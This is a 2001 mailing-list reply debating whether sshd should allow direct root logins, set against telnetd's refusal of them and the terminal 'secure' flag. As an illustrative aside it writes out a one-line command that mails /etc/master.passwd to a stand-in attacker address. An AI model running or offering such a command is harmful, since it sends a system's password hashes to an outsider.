On Tue, Aug 28, 2001 at 01:02:06PM +0900, Curt Sampson wrote:
> On Mon, 27 Aug 2001, David Maxwell wrote:
> 
> > > I don't see that as being of much consequence. The default security policy
> > > doesn't start telnetd, either, yet it's always been our default policy
> > > that, should you start telnetd, you cannot log in as root via the network.
> >
> > Not quite the same thing - as using telnet to login as root is only
> > slightly better than writing your root password on the nearest bathroom
> > door. ("For a good time, login...")
> 
> If you've found such an easy way to see through IPSec and/or Kerberos,
> I'm sure everyone would like to know about it.

As I said to AndrewG, elsewhere in this thread, telnetd happily does
cleartext connections by default, providing good reason to prevent root
logins, by default.

If you've found such an easy way to see that telnetd refuses connections
that didn't arrive over IPSec and/or Kerberos, I'm sure everyone would
like to know about it.

> But to clarify, I'm not talking about just telnet over IPv4. I'm talking
> about *every* method of logging in at *every* terminal not marked
> "secure."

Fine - I wasn't talking about 'secure' though, I was talking about
telnetd refusing root logins to discourage throwing important passwords
out on the network.

> > Basically, I think the reason for denying root logins prior to ssh
> > doesn't relate to the current situation - was it to prevent direct root
> > logins?
> 
> Yes. I've said this before.
> 
> > (if so, why didn't NetBSD ship a default non-root user, and
> > enforce the same restriction on the console?)
> 
> Because the console is marked "secure." In the vast majority of cases
> (I'd almost go so far as to say "all," except I bet there's still some
> guy out there with an 11/780 and a DECWriter console in the next room
> who's running NetBSD), if you have access to the console, you've got
> access to the machine itself, in which case passwords don't matter. And
> it is rather handy sometimes (especially if you use yp) to be able to
> log in directly as root on the console.

My question was meant to say 'If you want to prevent direct root logins
via the network, and force people to use individual accounts, and su,
wouldn't you else want the same restriction on the console?' (Except in
single-user mode, naturally)

> > - or to prevent cleartext root passwords on the network?
> 
> No. Running telnet without encryption, logging in as a non-root user,
> and then doing an su will still send an unecrypted root password over
> the network.

Right - but (effectively) so will logging in as root, and typing 
'mail hacker@evilplace.net < /etc/master.passwd'

It's unreasonable to expect the system to predict every way someone
might do something dumb - it's not unreasonable to disable obviously
dumb things.

> You really seem to be missing the point here, so let me sum up again,
> and please attack just this argument:
> 
>     At terminals not marked "secure", the policy is that you cannot gain
>     access with just a root password, you also need the password of a
>     user authorized to become root.
> 
> Sshd as it stands breaks this. You're going to have to come up with a
> good reason to keep this broken, or I'm going to fix it.

So you're going to improve sshd to respect the 'secure' flag then?
Otherwise it will still be inconsistent, just differently inconsistent
than it is today.

It's not going to kill me either way - I only voiced my vote.

-- 
David Maxwell, david@vex.net|david@maxwell.net -->
(About an Amiga rendering landscapes) It's not thinking, it's being artistic!
					      - Jamie Woods